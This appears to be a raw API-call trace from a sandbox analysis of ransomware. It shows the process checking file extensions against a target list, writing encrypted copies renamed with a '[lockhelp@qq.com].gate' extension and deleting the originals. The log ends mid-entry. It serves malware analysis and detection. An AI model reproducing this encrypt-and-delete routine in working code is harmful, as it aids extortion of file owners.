[0113.244] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0113.244] ReadFile (in: hFile=0x340, lpBuffer=0x3ae1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3ae1058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.256] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0113.256] ReadFile (in: hFile=0x340, lpBuffer=0x3b21058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3b21058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.459] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.459] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1 [0113.459] ReadFile (in: hFile=0x340, lpBuffer=0x3b61058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3b61058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1 [0113.588] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0113.588] WriteFile (in: hFile=0x340, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefca8*=0xc0110, lpOverlapped=0x0) returned 1 [0114.250] SetEndOfFile (hFile=0x340) returned 1 [0114.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43114d0 [0114.255] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0114.255] WriteFile (in: hFile=0x340, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0114.257] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0114.257] WriteFile (in: hFile=0x340, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0114.259] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1 [0114.259] WriteFile (in: hFile=0x340, lpBuffer=0x43114d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x43114d0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1 [0114.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0114.261] CloseHandle (hObject=0x340) returned 1 [0114.740] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0114.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.740] lstrlenW (lpString=".doc") returned 4 [0114.740] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.740] lstrlenW (lpString=".docx") returned 5 [0114.740] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0114.740] lstrlenW (lpString=".pdf") returned 4 [0114.740] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.740] lstrlenW (lpString=".xls") returned 4 [0114.740] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.740] lstrlenW (lpString=".xlsx") returned 5 [0114.740] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0114.740] lstrlenW (lpString=".ppt") returned 4 [0114.740] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString=".zip") returned 4 [0114.741] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.741] lstrlenW (lpString=".rar") returned 4 [0114.741] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.741] lstrlenW (lpString=".bz2") returned 4 [0114.741] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.741] lstrlenW (lpString=".7z") returned 3 [0114.741] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString=".dbf") returned 4 [0114.741] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString=".1cd") returned 4 [0114.741] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString=".jpg") returned 4 [0114.741] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.741] lstrlenW (lpString=".doc") returned 4 [0114.741] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.741] lstrlenW (lpString=".docx") returned 5 [0114.741] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0114.741] lstrlenW (lpString=".pdf") returned 4 [0114.741] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.742] lstrlenW (lpString=".xls") returned 4 [0114.742] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.742] lstrlenW (lpString=".xlsx") returned 5 [0114.742] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0114.742] lstrlenW (lpString=".ppt") returned 4 [0114.742] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.742] lstrlenW (lpString=".zip") returned 4 [0114.742] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.742] lstrlenW (lpString=".rar") returned 4 [0114.742] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.742] lstrlenW (lpString=".bz2") returned 4 [0114.742] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.742] lstrlenW (lpString=".7z") returned 3 [0114.742] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.742] lstrlenW (lpString=".dbf") returned 4 [0114.742] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.742] lstrlenW (lpString=".1cd") returned 4 [0114.742] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.742] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0114.742] lstrlenW (lpString=".jpg") returned 4 [0114.742] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.743] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0114.743] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0114.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.743] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=495616) returned 1 [0114.743] CloseHandle (hObject=0x340) returned 1 [0114.743] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0114.743] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.743] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0114.743] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0114.743] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.744] GetLastError () returned 0x0 [0114.744] ReadFile (in: hFile=0x340, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x79000, lpOverlapped=0x0) returned 1 [0114.955] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x79010, lpOverlapped=0x0) returned 1 [0114.963] ReadFile (in: hFile=0x340, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0114.963] WriteFile (in: hFile=0x314, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x100, lpOverlapped=0x0) returned 1 [0114.963] SetEndOfFile (hFile=0x314) returned 1 [0114.963] CloseHandle (hObject=0x314) returned 1 [0114.973] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0114.973] SetEndOfFile (hFile=0x340) returned 1 [0114.978] CloseHandle (hObject=0x340) returned 1 [0114.979] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0114.979] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0114.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.979] lstrlenW (lpString=".doc") returned 4 [0114.979] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.979] lstrlenW (lpString=".docx") returned 5 [0114.979] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0114.979] lstrlenW (lpString=".pdf") returned 4 [0114.980] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.980] lstrlenW (lpString=".xls") returned 4 [0114.980] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.980] lstrlenW (lpString=".xlsx") returned 5 [0114.980] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0114.980] lstrlenW (lpString=".ppt") returned 4 [0114.980] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString=".zip") returned 4 [0114.980] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.980] lstrlenW (lpString=".rar") returned 4 [0114.980] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.980] lstrlenW (lpString=".bz2") returned 4 [0114.980] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.980] lstrlenW (lpString=".7z") returned 3 [0114.980] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString=".dbf") returned 4 [0114.980] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString=".1cd") returned 4 [0114.980] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString=".jpg") returned 4 [0114.980] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.980] lstrlenW (lpString=".doc") returned 4 [0114.981] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0114.981] lstrlenW (lpString=".docx") returned 5 [0114.981] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0114.981] lstrlenW (lpString=".pdf") returned 4 [0114.981] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0114.981] lstrlenW (lpString=".xls") returned 4 [0114.981] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0114.981] lstrlenW (lpString=".xlsx") returned 5 [0114.981] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0114.981] lstrlenW (lpString=".ppt") returned 4 [0114.981] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0114.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.981] lstrlenW (lpString=".zip") returned 4 [0114.981] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0114.981] lstrlenW (lpString=".rar") returned 4 [0114.981] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0114.981] lstrlenW (lpString=".bz2") returned 4 [0114.981] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0114.981] lstrlenW (lpString=".7z") returned 3 [0114.981] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0114.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.981] lstrlenW (lpString=".dbf") returned 4 [0114.981] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0114.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.981] lstrlenW (lpString=".1cd") returned 4 [0114.981] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0114.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0114.981] lstrlenW (lpString=".jpg") returned 4 [0114.981] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0114.982] lstrcmpiW (lpString1=".msi", lpString2=".gate") returned 1 [0114.982] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0114.982] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.982] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=184832) returned 1 [0114.982] CloseHandle (hObject=0x340) returned 1 [0115.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0115.148] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0115.149] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.149] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0115.149] GetLastError () returned 0x0 [0115.149] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x2d200, lpOverlapped=0x0) returned 1 [0115.262] WriteFile (in: hFile=0x370, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0x2d210, lpOverlapped=0x0) returned 1 [0115.266] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0115.266] WriteFile (in: hFile=0x370, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xf4, lpOverlapped=0x0) returned 1 [0115.266] SetEndOfFile (hFile=0x370) returned 1 [0115.267] CloseHandle (hObject=0x370) returned 1 [0115.271] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.271] SetEndOfFile (hFile=0x314) returned 1 [0115.273] CloseHandle (hObject=0x314) returned 1 [0115.273] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0115.273] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0115.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.274] lstrlenW (lpString=".doc") returned 4 [0115.274] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.274] lstrlenW (lpString=".docx") returned 5 [0115.274] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0115.274] lstrlenW (lpString=".pdf") returned 4 [0115.274] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.274] lstrlenW (lpString=".xls") returned 4 [0115.274] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.274] lstrlenW (lpString=".xlsx") returned 5 [0115.274] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0115.274] lstrlenW (lpString=".ppt") returned 4 [0115.274] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.274] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.274] lstrlenW (lpString=".zip") returned 4 [0115.274] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.274] lstrlenW (lpString=".rar") returned 4 [0115.274] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.274] lstrlenW (lpString=".bz2") returned 4 [0115.274] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.275] lstrlenW (lpString=".7z") returned 3 [0115.275] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString=".dbf") returned 4 [0115.275] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString=".1cd") returned 4 [0115.275] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString=".jpg") returned 4 [0115.275] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString=".doc") returned 4 [0115.275] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0115.275] lstrlenW (lpString=".docx") returned 5 [0115.275] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0115.275] lstrlenW (lpString=".pdf") returned 4 [0115.275] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0115.275] lstrlenW (lpString=".xls") returned 4 [0115.275] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0115.275] lstrlenW (lpString=".xlsx") returned 5 [0115.275] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0115.275] lstrlenW (lpString=".ppt") returned 4 [0115.275] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0115.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.275] lstrlenW (lpString=".zip") returned 4 [0115.275] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0115.276] lstrlenW (lpString=".rar") returned 4 [0115.276] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0115.276] lstrlenW (lpString=".bz2") returned 4 [0115.276] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0115.276] lstrlenW (lpString=".7z") returned 3 [0115.276] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0115.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.276] lstrlenW (lpString=".dbf") returned 4 [0115.276] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0115.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.276] lstrlenW (lpString=".1cd") returned 4 [0115.276] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0115.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0115.276] lstrlenW (lpString=".jpg") returned 4 [0115.276] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0115.276] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0115.276] lstrlenW (lpString="SetupEngine.dll") returned 15 [0115.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0115.277] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=807256) returned 1 [0115.277] CloseHandle (hObject=0x314) returned 1 [0115.277] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0115.277] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0115.277] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0115.277] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.277] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0115.277] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0115.277] GetLastError () returned 0x0 [0115.277] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0xc5158, lpOverlapped=0x0) returned 1 [0115.767] WriteFile (in: hFile=0x370, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x2fefc94*=0xc5160, lpOverlapped=0x0) returned 1 [0115.935] ReadFile (in: hFile=0x314, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0115.935] 